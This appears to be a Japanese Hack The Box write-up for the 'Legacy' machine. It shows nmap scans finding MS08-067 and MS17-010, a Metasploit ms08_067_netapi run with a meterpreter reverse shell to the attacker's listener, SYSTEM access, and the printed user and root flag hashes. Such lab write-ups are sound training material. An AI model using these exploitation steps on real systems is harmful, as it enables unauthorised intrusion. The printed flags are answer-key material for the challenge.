Sambaが動作していることを確認
# nmap -A -n -F -T5 legacy.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-02 14:41 UTC Nmap scan report for legacy.htb (10.10.10.4) Host is up (0.047s latency). Not shown: 97 filtered ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 3389/tcp closed ms-wbt-server
Sambaの脆弱性を調査
ms08-067,ms17-010 に該当していることがわかった。
# nmap --script=vuln -p 445 legacy.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-02 15:53 UTC Nmap scan report for legacy.htb (10.10.10.4) Host is up (0.052s latency). PORT STATE SERVICE 445/tcp open microsoft-ds |_clamav-exec: ERROR: Script execution failed (use -d to debug) Host script results: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: LIKELY VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug) | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ Nmap done: 1 IP address (1 host up) scanned in 36.60 seconds
ms08-067 を起点にする
# msfconsole msf5 > search ms08-067 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption msf5 > use 0 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.17.0.2 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Targeting msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS legacy.htb RHOSTS => legacy.htb msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.14.8 LHOST => 10.10.14.5 msf5 exploit(windows/smb/ms08_067_netapi) > set LPORT 1234 LPORT => 1234 msf5 exploit(windows/smb/ms08_067_netapi) > exploit [-] Handler failed to bind to 10.10.14.5:1234:- - [*] Started reverse TCP handler on 0.0.0.0:1234 [*] 10.10.10.4:445 - Automatically detecting the target... [*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English [*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] 10.10.10.4:445 - Attempting to trigger the vulnerability... [*] Sending stage (176195 bytes) to 172.17.0.1 [*] Meterpreter session 1 opened (172.17.0.2:1234 -> 172.17.0.1:56878) at 2020-08-04 12:19:15 +0000 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > shell Process 1516 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>cd C:\ cd C:\ C:\>type "C:\Documents and Settings\john\Desktop\user.txt" type "C:\Documents and Settings\john\Desktop\user.txt" e69af0e4f443de7e36876fda4ec7644f C:\>type "C:\Documents and Settings\Administrator\Desktop\root.txt" type "C:\Documents and Settings\Administrator\Desktop\root.txt" 993442d258b0e0ec917cae9e695d5713